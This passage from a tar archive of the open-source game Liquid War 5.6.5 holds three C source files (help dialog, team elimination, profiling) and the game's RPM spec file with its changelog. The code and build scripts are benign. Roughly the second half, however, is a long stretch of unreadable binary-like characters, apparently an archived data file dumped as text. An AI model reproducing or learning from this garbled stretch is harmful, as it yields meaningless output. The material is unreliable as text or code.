Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : help.c */ /* contenu : aide en ligne */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "back.h" #include "config.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "menu.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void prepare_help (DIALOG d[6], char *str) { quick_buttons (d); color_one_dialog (d + 4); d[4].proc = my_textbox_proc; d[4].d2 = 0; d[4].dp = str; d[4].key = 0; d[4].flags = 0; d[4].x = (MENU_W_SPACE * 3) / 2 + MENU_W_QUICK; d[4].y = (MENU_H_SPACE * 3) / 2 + MENU_H_QUICK; d[4].w = MENU_VIRTUAL_W - MENU_W_SPACE * 3 - MENU_W_QUICK * 2; d[4].h = MENU_VIRTUAL_H - MENU_H_SPACE * 3 - MENU_H_QUICK * 2; menu_real_coord (d + 4); d[5].proc = NULL; } /*------------------------------------------------------------------*/ int display_help (char *str) { int retour = 0, choix = MENU_QUICK_BACK; DIALOG d[6]; memset (d, 0, sizeof (d)); prepare_help (d, str); display_back_image (); while (retour == 0) { choix = my_do_dialog_no_clear (d, choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; break; } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/decal.c0000664000372000037200000001310013407756104015137 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : decal.c */ /* contenu : gestion du decalage equipe jouantes/curseurs */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "cursor.h" #include "mesh.h" #include "army.h" #include "decal.h" #include "time.h" #include "log.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ int PLAYING_TEAMS = 0; int ACTIVE_FIGHTERS[NB_TEAMS]; int COLOR_FIRST_ENTRY[NB_TEAMS]; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int get_cursor_from_team (int team) { int i, cursor = -1; for (i = 0; i < NB_TEAMS && cursor < 0; ++i) if (team == CURRENT_CURSOR[i].team) cursor = i; return i; } /*------------------------------------------------------------------*/ int eliminate_team (int team) { int i, j; if (PLAYING_TEAMS > 0) { PLAYING_TEAMS--; for (i = 0; i < NB_TEAMS; ++i) if (CURRENT_CURSOR[i].team == team && CURRENT_CURSOR[i].active) { CURRENT_CURSOR[i].active = 0; CURRENT_CURSOR[i].loose_time = TIME_ELAPSED; CURRENT_CURSOR[i].score_order = PLAYING_TEAMS + 1; } for (i = 0; i < NB_TEAMS; ++i) if (CURRENT_CURSOR[i].team > team) CURRENT_CURSOR[i].team--; for (i = 0; i < CURRENT_ARMY_SIZE; ++i) if (CURRENT_ARMY[i].team > team) CURRENT_ARMY[i].team--; for (j = team; j < PLAYING_TEAMS; ++j) { ACTIVE_FIGHTERS[j] = ACTIVE_FIGHTERS[j + 1]; COLOR_FIRST_ENTRY[j] = COLOR_FIRST_ENTRY[j + 1]; for (i = 0; i < CURRENT_MESH_SIZE; ++i) { CURRENT_MESH[i].info[j] = CURRENT_MESH[i].info[j + 1]; } } return 0; } else return 1; } liquidwar-5.6.5/src/profile.c0000664000372000037200000001425513407756104015543 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : profile.c */ /* contenu : chronometrage des fonctions */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "profile.h" #include "ticker.h" /*==================================================================*/ /* types */ /*==================================================================*/ typedef struct { int start; int record_number; int total_time; } PROFILE_REC; /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define PROFILE_LIMIT 20 static PROFILE_REC PROFILE_DATA[MAX_PROFILE]; static int DISPLAY_NUMBER; static int LOGIC_NUMBER; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void reset_all_profile (void) { int i; for (i = 0; i < MAX_PROFILE; ++i) reset_profile (i); } /*------------------------------------------------------------------*/ void reset_profile (int indice) { DISPLAY_NUMBER = LOGIC_NUMBER = 0; PROFILE_DATA[indice].record_number = PROFILE_DATA[indice].total_time = 0; } /*------------------------------------------------------------------*/ void start_profile (int indice) { PROFILE_DATA[indice].start = get_ticker (); } /*------------------------------------------------------------------*/ void stop_profile (int indice) { PROFILE_DATA[indice].record_number++; PROFILE_DATA[indice].total_time += get_ticker () - PROFILE_DATA[indice].start; if (PROFILE_DATA[indice].record_number >= PROFILE_LIMIT) { PROFILE_DATA[indice].record_number /= 2; PROFILE_DATA[indice].total_time /= 2; } } /*------------------------------------------------------------------*/ int get_profile (int indice) { if (PROFILE_DATA[indice].record_number > 0) return (PROFILE_DATA[indice].total_time / PROFILE_DATA[indice].record_number); else return 0; } /*------------------------------------------------------------------*/ void update_logic_rate (int logic_number) { DISPLAY_NUMBER++; LOGIC_NUMBER += logic_number; if (DISPLAY_NUMBER > PROFILE_LIMIT) { DISPLAY_NUMBER /= 2; LOGIC_NUMBER /= 2; } } /*------------------------------------------------------------------*/ int get_logic_rate (void) { return ((get_profile (GLOBAL_PROFILE) * DISPLAY_NUMBER) / LOGIC_NUMBER); } liquidwar-5.6.5/liquidwar.spec0000664000372000037200000001042013407756104016013 0ustar travistravisSummary: A unique multiplayer wargame. Summary(fr): Un "wargame" multijoueur indit. Summary(de): Ein einzigartiges Kriegspiel fr mehrere Spieler. Name: liquidwar Version: 5.6.5 Release: 1 License: GPL Group: Amusements/Games Source: http://freesoftware.fsf.org/download/liquidwar/liquidwar-5.6.5.tar.gz URL: https://ufoot.org/liquidwar/v5 Vendor: Christian Mauduit Packager: Christian Mauduit BuildRoot: %{_tmppath}/%{name}-buildroot %description Liquid War is a unique multiplayer wargame. Its rules are truely original and have been invented by Thomas Colcombet. You control an army of liquid and have to try and eat your opponents. A single player mode is available, but the game is definitely designed to be multiplayer, and has network support. %description -l fr Liquid War est un "wargame" multijoueur indit. Ses rgles sont vraiment originales et ont t inventes par Thomas Colcombet. L'ide est de contrler une arme de liquide et d'essayer de "manger" ses adversaires. Il est possible de jouer seul, mais le jeux est conu pour se jouer plusieurs, un mode rseau tant disponible. %description -l de Liquid War ist ein einzigartiges Kriegsspiel fr mehrere Spieler. Die Regeln sind wahrhaft neuartig und wurden von Thomas Colcombet entwickelt. Man steuert eine flssige Armee und muss versuchen die Gegner aufzufressen. Es gibt einen Einzelspielermodus, aber das Spiel ist eindeutig auf mehrere Spieler ausgelegt und untersttzt das Spielen ber Netzwerk. %description -l dk Liquid war er et unikt multiplayer krigsspil. Reglerne er uhyre originale og er opfundet af Thomas Colcombet. Du styrer en hr af vske og skal prve at de dine modstandere. Liquid War kan spilles alene, men er helt afgjort designet til multiplayer, og har netvrks-support. # Preparation of the package %prep %setup ./configure --prefix=%{_prefix} --target=%{_target} # Building the package %build make # Installing the package # The "make uninstall" is important since it prevents rpm from # putting old unused files in the archive. %install export DESTDIR=%{buildroot} && make uninstall && make install # Cleaning %clean rm -rf %{buildroot} # Pre-install script %pre # Post-install script # It basically adds the info page to the Top info page. %post if which install-info; then if test -d %{_prefix}/info; then if test -f %{_prefix}/info/dir; then install-info --info-dir=%{_prefix}/info %{_prefix}/share/info/liquidwar.info.gz; fi; fi; fi # Pre-uninstall script %preun # Post-uninstall script # It basically removes the info page to the Top info page. %postun if which install-info; then if test -d %{_prefix}/info; then if test -f %{_prefix}/info/dir; then install-info --info-dir=%{_prefix}/info --remove liquidwar; fi; fi; fi %files %defattr(-,root,root) %{_prefix}/games/liquidwar %{_prefix}/games/liquidwar-server %{_prefix}/games/liquidwar-mapgen %{_prefix}/bin/liquidwar %{_prefix}/bin/liquidwar-server %{_prefix}/bin/liquidwar-mapgen %{_prefix}/share/games/liquidwar/ %{_prefix}/share/doc/liquidwar/ %{_prefix}/share/man/man6/liquidwar.6* %{_prefix}/share/man/man6/liquidwar-server.6* %{_prefix}/share/man/man6/liquidwar-mapgen.6* %{_prefix}/share/info/liquidwar.info* %{_prefix}/share/pixmaps/liquidwar.xpm %{_prefix}/share/applications/liquidwar.desktop %changelog * Thu Sep 27 2007 Christian Mauduit - Added mapgen files, fixed deprecated RPM syntax. * Fri Dec 13 2002 Christian Mauduit - Added French and German informations. * Fri Jul 12 2002 Christian Mauduit - Used wildcards for man pages names, to solve a bzip2 vs gzip issue. * Wed Jul 10 2002 Christian Mauduit - Managed to make GPG signing to work, so RPMs should be signed now. * Tue Mar 12 2002 Christian Mauduit - Fixed some buildroot bugs - Replaced install-info --infodir=... by --info-dir=... * Mon Mar 11 2002 Christian Mauduit - Recompiled with Allegro's rpm (fixes the error: "/usr/lib/liballeg.so.4.0: undefined symbol: _poly_scanline_gcol8") - Fixed the post-install script * Sat Feb 23 2002 Christian Mauduit - Added proper "--target" support. - Added info documentation with install and uninstall scripts * Thu Jan 28 2002 Christian Mauduit - My first rpm build of Liquid War

MCVE[JUIvD}{1x%ry)qx'c>UNeK2t"zy/s={p6oi3n~&k&f{U_`erf^j`IK@iSPYlUcnWmjR\pOclCm]9yEAyEUpTq>cAhBw]?wb:nl3hp-oUQqgPh\PiWP^LTMyT?mQ5nU1o_PqrRxiUs^oe_pdSgqUlr^osemsZms_\s]hk[]m`Qsc[g<[=g4T8R8P:_6n,{]]i]9bz/F~&dr6`fxmrPqbAm^YdiqWLrg9ucgqemqbb;tlDff\blPzdRdsPjjya\\[TU^Rth^UHf{Wsab\mbt^9]Sk;^cZQf2dFOKQ@t_,rw(SQfGdAjmAl,oPNO>OO!tj^e8IQPX`O?~J<2@5@>JF\iMrVqo`H]|GK>]Q_&]:l6fGNXlE\G\@fF|SQRQ\x1H-]Asf&fiY_~fgmnRFzx4zFv.NX>;mGaKybwQx_EOO!_hGf;fNkLLoOPjAuTOyMplcf؁NzDIsXKmKqPV$Ճe^z9h2Ŝ qz3\PW4mlZQm&pU9V=sePg~4adadqvjWYv_|hMffqTdfhglbmBkajmRlO'R&crjjqE~?n:f!y)ht%GP\QAG;M;/+DcPWLY]r}]Y]K(Pgldam`V  ˀ]͍ cxGV|4p/j\9Y2V%YNi[7]/|.AOROzrG[IWwY:vn=YKTPxWh5lNdXY~Fr[gc{af]atc^}Z{ifc`hIxBdbUORZ6Y,|cBow7ye9NBj4~K?xx3vNq:VW$X^@\rvX]rYtlO_~tPxZPoS_w]h[[spmffWVrGXuLq{R4[5KVat?br4]!%̓%p;fZoVgdIKoI6R@ZJzQ:][NeSVdE^Z9_PNtkRuQk?=J>D:~F=ffbg|am[rJn;f(n#w&eTEaHYQPR_IVBCJFjo%v)%t7 |5{5z3z7TGWQ~HT|MFzGGy@NqSWnQFM[[_~:\:dv7aLz\eVP'V3qZd v{>r8s@yUlQ@]9lK{O_JPyCxfQt@iAXRNc{i1zs3 )i$mO2)1d0u'S_|OIzE=pn%D!eUCkBXy6v3oZvX{VHZNI+bWKv:uu=s/eQtY2PIcn(b3;q@eQ\3pgQdIl;DJ&#(uԁ OȔ~h!%)c>^MPi*aDoGQYFl3T:d|>}HHty'e@dUs?dvERahIzYZgm0VqfW\piof!agt|YAXPNQLWL4M?WQb,d$oC)BfK"KR*wM=$BƁeplRj?mnKdr=jqQs[`QK=a7m{.Ad=SIWyGNZ-i'g%OIPh#i#VWDi$POJbO^4^KT}NygoybbPcdnRqiVKx[UJfDwmdqPQoY+Z~99UDdoBPrz*Y&DFl]O\=GN:[EVBu7o},N3TgMo~\t\Ayn_i\pAES:rak]OeFrFYtVvTSo}MbVGJBC\YhCu!k%T8n-]7pMPm4`(EMSQt4g%w`C\goOf`ctnK@7@otJx_fNYpqSsoV`mUxMplQTfM`D7[|Oxa[SjZaea`[Yh|R\|FdpDg=SEGI?{QHYA{x(x*x'es+q,f3gYLkcDk`r;#)zAi>~]JoDW].OM+Ga8IfHM`JNBhe]he`d`hd_uda|`bTML8B.C,K*W[O_RQ~OT~GZ$48H0T:MHBUIbIcKN-\;S?Psy.}0g>yxy1{566}6}6~8qNeA[C{HGw+8i7H|,VhX10LGFiAr=~A~p7:h@oV8"a,S@sRHw>}:Hc=OJ,GJcG]C{M2nCg4S@c_IhS$y9IF_NFlcE\RSb><sdu9^s@^i`bY^Emkmr/b;N0Y7Yo:d{t5ulKz2~j|vnC[y5oc?ZEr+vt#XOZN]w8dw[YE89oyKi\mI\pQdgjqwYv`]PhS`iGiV1bg0h7KU@KNyBbFG}2IUPNRQy?QFWPaFJhHf"}aQssQ;>K;L6HBF>e@~[;]Jlc^iNZVHIEq-br.h3_ySQafO^SZkSN{:Wm1ex,q1Nz4bz7UQ~RQHN_?b?pW`U[oJVkJUi[kmk\d{TZ|R_bqUxpHkcEno@li/^:S6A=*E9LJR(_1wO3~\3q9X9a@XLuWMfNKj_L_eNL^`KefFiRN4[9W8F2B-S.]3Y(^,\-Sv Xr+is%hv&ez+bz.gu#x~-oh0j99m9t7~(y7uCnKgZrKlc6lZ=sg?x`GH3}p4&9~eOw?Y>QIQMQOQ?`?[QFMG/?&$>9?ACCG>I;LAiFL'p\ATfFmJkIthKLT/Vz5X\9vhBeX:>f[l6˗4lj3ɀwAI LFwg^"K Hg;i:p9a:0X/hEpm]Z]JA];/p*s%d@72{52mm u |v vqdBS~;Wcd5@/n;h/[~k.ugjr5ǐX7tVUE9QOo7ZQmh/qy3l6U-H[PyqADZ3AmEaEfD(ty"Xq_:B<0{ d4&; vƖYɌVUPGtI3j`@4jZ?nxGOHL~P>{SNuQj%p/w0 t0x2(R"f+G{2\'MDXGZP[_OQQaOMX+q1Y*c$dBnmkzl\oWldBglZFRXkKWifneghTdvKB\Dt:gG7a)e*G5A4/.&8ahF^bPd|.u(gXHR6[9uNOw9Z.ih9sk=woYawXldmd\nE_`LKe[di{hjJjD`?D>I+cO-^!Q)\&Kzs/uxNSFa4t)o#YQd/l}tb_g:jz"^MSd@4?Qmj\d_ktbpA`_NXQMs,I@9\KGbXdgT{vCZ7S:UNJQUQUPFPY>ociJmkMhnOdnSXir[jjbiX``nNc_E`_:ij3a4\*K&,M(J'RB^FeDpEcDo9A>Bkx,MYH_Ur-KP(kVPFN~QP:;uAtMqEG{'h6^8T>-׈ u!+yb̕U^dd d]JFQ]@]4|MQuw>Z6~FPfi?ipofjcDKGDh^feZe}qb{Dw|HkOPu+r OQ9Q.Y4+yX\~u,nVSr+MYt5Kaxp+JdAFUf;g`[.[lgZRZY]vb/r@l1p+'v&y1&e`Y$Q(-K8nYASQyWUS9bJXEQmUe.lw$_La`bm`*eZN5`?I@R;K~-j`@b7QeBXoPKtS^>C:dyJqb{W=zW=LccE_kDV5M%\!LqH.yL,*V9<1E6CiTW{KXWGh&FGKQKPpNHZYFJEOfkXp\k^o^A6VDMPwHQ}VQhGPc]zXmcWleUm`RhpUtxdktN\mM\lN[cFD_?_j6gr'[y+F~+>9A?#?6/7GHL=R@dHNGS@~UH`QN`]QSQP^a_QYnA]fLEK~BdtZlvhMFI4Q7R)V^Np{PdOV\SbSn*^U/faZz;N[5\W"eNDOS?HDDvjAoTLpv9ir1hw/sm3ffO8greUvqcShQIpTTxZW~2l|6i8V4B35)d'by<^XV\UA%&-D+kJ6jo:^8>?`EXOR}L@aU9bUPqZGlU\GzeKssQu\hq|STsYAbSZUQYLOwCX8Y{Q:Zk+]x90JcIIv%dBt,YrC[BJ79:6BcDX]M~OH{NM@ZQk\Jhhgb`eLsH_?lrHDPQQv7bl?pS?<[;[M>~J.P46*='G0 (,F0P3O1d5RDUJOSOlIQ`IPgVPiTL_g|SrpKsxS|yHysK~tJ{Y@R^?aa2Sh6Vz2cs:T|A2L23982D{:{,I1N8HBC94GVJOxXO^JOYIP[VQNPQXzUbhgdWhez[buTlvZeRR9\oHdQLnNYaZMXf:Ol"Tx Z^Xc[l"Ya\o$^w(^z%cz#ivs.u"\@pY>VIXB`@_N|QCm[HudRum[nfVVQ2*KyNFqxNKTNaJl?F.=5.=1IOR|XLo?(m<6770 ,1R Si ϔuYc^o e VHBIOu;H3K8B@%;%S3F7QCM7smD6w{k~xzBnw͋X Z T =#B%ZU N^PEJX s]&B.FA= QL]m d k [ gt ~i,cwa$dn&y0w'mkjg dUi_HLm>m?{v^^;NWM{2a{(ke`Zgh;oj9c(VF4+5k@_q TUv/]'PxW8yfTCRkXS|XGvIQ_`TjTdybSzjRqbL}sCZt;_U2qy^DZ_0\SC\);165LKAUQxQS(KT1U{ JE{2V `hUIZ]\s&U~EWh?iZPUwRSw_|n_]ULoK~r8dx/f8?=H&F hZ X%V<<)R#mQ40 XT}Kh5ac#`t0L8@;~6z4vAx J:=2L-@4N~FRxFPnQ][PQRMQpYcroegRjUguR~[ow/ju:]qRQqNIqFEsFKmAJjCJkCDtNQzARi51d?&_R'Xb$UVX]bs)blfx&k*bG~Y>>@7EFLntzw wy\lP6#191/J1ZVNs(kN~ c3N@}IJEYh:NZz$`hDva3qQ]{TIoJGteDgeaquygykUl_asB]1_(q3Su+Y'u$\ LK25'Q`(onfxN:7QA p ^fkuOK`^IcZdgu}`hzH>L?W8nz3]5CP |iG^Bu\(i+$&p5[mV.W_)o4hnc]%H6e??YDgVk6\R+lH1oI'rTC7P1a 6 H+B$7!Gu3ao+Xq%Kv+R!;4c?gRbfMNPLNZZW`[`im]_YbSGUU;^X6p\'h]a"fU#O37?DC@F;6!F*FyC|G1V'K#D)M'7y:RmCWqVQtP=fKP]7gIlmMumNMhe;g^Kt?RajYp.F_<3bH=Rj ׀ Èƃc g Y ?4(4%[=sOLRNx@]a[ir֐]a^إQ̉VЃ5KQR\i kiefE888cS-^;h6Ńˀ|)} e;h:sĂ _4D@GHXkTOvnuzqcgR{jCL]W?T_!\\K^X4hAO_j*Q+Xhv=]+Gh^SHi5f#Y$hR{-cA~eT+z>G|9B6?JMkW8&Wx%I0bd&g|2MW9uNVUraRQ]\}jld+fz-\OD_zLR+3+J Z#L:6.V[2OI`X\VnC3cR>nQ5j'gay(YE6sR@O\MV2`(xM]YccriSOMY'Ins@iu3jz'W,]BA"oyheO| MWPGgVAXQ=\KJZ\3};Y!U`:Zd*ga6gFM[VKPQezjogOSKNqLlt?e5e%I0B 8MrLEwM5lL=d;@o@G8KI g h,>+8a(aedU&g1^5cfK[WrLQ}[a{E|a9XXhMa4_!Pw)]k,EgH5wRCtS3O1qL2aLOWLD8Ix(I_2ag+Yx+c%Xk2Ww3Uui[6i\%Zu"hR!V)V&X(MD} D}"By?y>x*My+N)N#O4T0Pt-Tj1U>UzGMdWre,ZQkgmbBgv-tkQ=i1ju4JqOGk;4w(Lo|jq`Z*AL>8W<5]86h2@qAUqDTrCSl=FnQFjX/jn&mm+o=f2H0S:W5rFxN|fwfZkyNOذHϷCW6JS9Z8mEs<0I(Q*Q2Q3Q0Q;M@FF1F C> ? ><Ejۗ֊ ƌŊukV! 4O~1EmvqpWg`Kg|sߨR֯J`ġT۴?ؖO{ yUv SQYen o o kfaII@< ;E=Qu]L$lF[)e6Žz'{[A9_`jkeHT~qujJQ1H+:PM@Zh2Sg0]b?XU4WZC~8f?bIC`JPIZOafO18PV$VPKP<-y4$Ȋj|%c aIu#fa#me8N}-ZBZMSTjlU[ncRO`C}koRCUB}]_@c;Re_*&fP[ _b*NQ.P &>)v:CZ6EzORW?R0Td^ c8P4q a,b0uXW_T@X6bNczHf=4Y3Z4(RUp^LT# xkXt!gf#\#4 <.]-\S bl h$l0^y;LDgB>֬KVK|ZCIq;t<]/F^YD`}'d!H%Z`(KA1$D^{*V;(N+XiE>q7J]?dN.gmHCdMPmTVcVD`]YP3dy\EDgK|CPO`MUKFE?=7ZgMG@HL%QnE-tU0~>Hy8O'\zX};ZfH]\FLPQ_VKG=O_TKF]?F0XW"TZP>b@672e90k?Ls7K(HM!\#]\ 0:ZV,_W"\Z(ch*i8D3gJiG>QP\Z~dPz](`2`,P]E[(\VgGNb= z>5cO@gRG[H4`KP bZ[o-o\&f['[a0fc2[d4Q`?i`NlRHQQ^caZfKRSAh`RhWT\If`;ev1\99AB'5Q=S P%XA*N)L!@B.\3Vq-Ug&[/\1Xv7Zr[G~C=Ͱ;h>xr.H?WWY[rlK}7e~(d}Z{%`]47cAkVrbnjmnd$IZGC`>IkWn&TvHapGSlAJoJEn`:mr'y>f-Q9J0O3c?{Y7RcaUaqHhxHrnEpkpkqguzVsH~Fn~eQ.F7I7Y8:>1N&Q)Q/Q6Q5S4NAQI8E!DA 8 =? Q}q| yh`=TP)^&]t?pBwALLO.t=9m4XMigyDZae0/" V@U]mjbi hn _d[ ^XBXKT5TJf;77 qU `53V/lK&hYPrn@e[Hm^Habmfnm\Wt{ZF`L?Wt@Pp:JN=pOFgSK{^8YWSOZ}=PϷ,z[ZKR%Y.oq `cfFnLHs_r" ͩ o3^&a`&Uq>Sj;]5JPq>VQ}?JCxjLVB\FQx\K\MxsGgmBl2_}3HlFQ3@6 VZ+@6P&d\0[0Mz>8/RR6a@7L3_PaOOiL:V7TJYqCR4JTX0\3OExZNNMQsbl;IT'_)`4Q}+KpLJGUl4`pI`pVBgL?h1\1\TYvb^fW>BIor6c|AavCMZ}?Ml3[$bUu_omimSa| [__f%`q*`jKMiv0KnCd6ea&ToR=d_ORf'e7[C`b?pQEl=o!q.QNl}9ga8+UR%A#T!Xw/c{Xy]t_-X*aU_#P(L$]>{8n843=rM?aU93b%j"c|&kt'Tz.at4We4MsEerqwmhMQdDQ{UB[BWL}R`YH3T;.C+Q"\g!VI J"H F%E*K0O7[q([)gy)Vq-\n2Z4LIUu]IP=|G?f6y0RPHdxAbXU4n.YuUuap!jW:Kd4Un ao ]v^q`e7O[O=k=Uw1cp;VmLYlEJmTIlj8{RaJ]V^PbLuVdYY}WPM`\G-?2+g9/6899D>0J Q!Q'Q5Q8Q4Q:QGQOQ<370;: D? JYg y.1618s $u(r:n9j4C~j6wt}s{Ah8|%"3xPu8.k~7C:C9,/8LTN# "* [o fdhZhR@<t"u@la%ޅ`e`nz@T ~d C T<^2h1Jie=dcokxiHHPc:.PONdQMwU6^STa)`f@V]0kW%>@u Q{ AJ|gno)SBKdR0z;NPGJc/dH4rs8cdJItTxKgQpdk~Le9a)t%`&{"p5NTEIjYNUAE{6MR<*O}?^xFb`HMZC7hHC#@x/T/d0e:b2X37MddeaZ~XLaM}HSQ^QIP]A{fFxh5xk4rUkR*e?0 &"Nfgbj[u!Vq$Mt+`j/`S<[{@i9Y};9Kx\}[t@\jY^gJi]d]I_GYFi5{UPaS@V5i"WW N3=!R"S ?,%/&$.B'a*f1q1l|.WJs_k]r|PkVlYcNQ^Py`=s=iFf3MO}\RWQ} R~ B`(V+M P>@'?2Vs2]0ev5ql/nz+]GmgetSUYYY^QS@fDSHtgDIv9\qOdgT\bNLtvYVbQ\_`WdUy_hfUI9I`N1'>.ôKh75:45;%M"Q"Q%Q+Q,Q3Q5=j{ x-wIu@u?J}K^vSUXtLuPnE30Y1(8?-G&G NRR# &!bp qflhi d: ;T pSVCJnmLcaFzTw`YqLtCM>`PDax@TaQO1[E3|+_~(dh-fo8]ZZQEWGZk^ui{_hyQkYdeD7Be r nm@;?NM9K5RQMZ@I5g#K!PL7&2=Z VAz)YL3hkRYeW\mLgt sDp`cgin=T;tLQxVQiLRP\?QQIf=yVAF0up:o" wuM~*?)bj/k%]r3joChjk5ZiFJM`sjkPqOu\p\S\EU7m%saj}2]"FG;F5O5H-RHR4Nt4NxXORn]fw\jNsQjX0rY2cHl<{n.x7tn(qh1pbH0KgW`%ZaQYajW%X,f%R2e}=oDaDPEE[nS~~Ntmqvao\qekYIhXKS4mDanB]IUTEaNXq9W-\/]$XJ'O5HI*=77/A6Bf;k9d~7mSpTsRjpoq`oskig`Cpg>{d=m=zmxV@jsH~4X.Y.`#[V [PE-"C5U3P1e:nv:n}5gz9mMO}PjrbsEqXzS?U@SD\G]OWN\[3}D^|5Xw2[gCObAIoYtdlac'L`6māv˪TJxSvUvQuQ|34's?)8!<P#L#N QXM5 1 luxroph> K] TVQPq,TW`aNtWG?T'VV6oDNnMecDnPwuehvT\Wz^khgaPj]PzYxf@rW/Y*pw+d;`3h/y7S@DE6BEHAN+S8Fx+St"L$>/^?poF`MIXTbnXKXu}Nz{ZiQ5`1T#d%ne?RPzXGOCv>`=I'X0DBSCQ>NArIP`*_ i^[7YI[B_kAWqNzwM~Q~Vps\bT[\WdjfpbeaJV@YC|KPrIP_QYCX%e8c1T>`]*ZhDXm,Xs%Wg,N^!V0Z@o@aT1^M^L|Wy~P|xXv}Xn{eisSq_L_Nr>IkBKkDfA`t=jV;[EE[4`+Z)R'W%<&A)> A&A5GI]GDCNPr~OujXuEY|V`rDUqHck\XhhEjp6s}1ln9md:sLoIU"d#?]5`,Z2Q6D'*'Ti}Y R}1`oBpyAbCSVasY`Pniidj{U_`\G|H|_^=Bf0Uk,QA/'biPAdU?Y#L[7GP;]YrYX}VjR@bj5l(j?2g\,m]qs?XEFC~L{tMNK=N]{[SEI9jIJ6QC^IlKQh`QX,iSB[EZV|\(MS.>#/ a My>LEfVFFZrYVpX@ mrؓĚ&TWQAc2~)}_>uhAWPtwelhK^SFUo0qteSmk_Rs[XklNckFjQbbah3:id=wiT_UPpOQ]IaC}`BRL`CZ;Z,e6i8QEgWN_K^GxdSgOp_NjlWmsZcj^]{`[|^0ze:h/q+OMIP^PjVQTSMsNHmPYaB[h.G4afc2jW(sQ*eDq;yq$}}>mEd~L_|Svgeva\bdZem[GMD?R9E{8Um:ss>hJf|7XC;gE@QRHKf?_-Q6[7< ='92W6[;@GgMqOuPxyMymMqdOjlVmoYin[[xfNwX;fx]?gCTIwNK]O{ZQmHQwLQ|QfzJao1Ro3dg(agXfYp.kt;ju7PMaYg`byd[kXaUe\FoXhLlKp`:gNMJwEXZYTQCk=~g6GGb{a*oZEyCMYgRbSx&S)W`&X-X5T;Q@G9;/C1C0=5F&?+L4TAYBHhALhDZy>es6vW]k=pdKcX>eX@XJsOIWC:lw4p&|n$RCNJfE\65DK9-(QYZ_,mw9jt=GwLf~NqTjV]}W\Oaoba_`pURXob;}kRl]K@JOn!+zl%q%v+w"Zi5o5=a,R6C2=N(VH.NFE7j5TTETp^\FkzcV{qBPqPaXnWjjZj`dKUiZxY>Q@v9(V92Ɇş'}@VXpa_uP2Ng?oG+ltl|:PLf?OulRvRfT|Eg`>q`OSBU=^;cv1ceKvEJ.6O"TP+W1]T]cwHDx2\VEdMY}YknqSjoYfg{YngVr`]t1hp,wP8Adi_{yQlQETYOkGj)~m.p'e5]MfLPQMcINkRXEZFh:i7e;SwI?YBi^bimq]p{_sseQpb^llOaiiIxUNL\F+tX@S2|nGs\QzPP{YOz/v.yb:x`6TFFGzi9]5|f\t9w9`|HaQeGnOhRuih0VrSctM`q][ci]cnbdwYxR@W,g1i&V/ZL\PTQ\QaQMjKLqMQuPPWCi[:i?fUk?Uk4b+d65p2k5]:=Dp~^DzCg^_HYcGQYNPXDP~-V'p,[1V3H4=4<8@67'<*K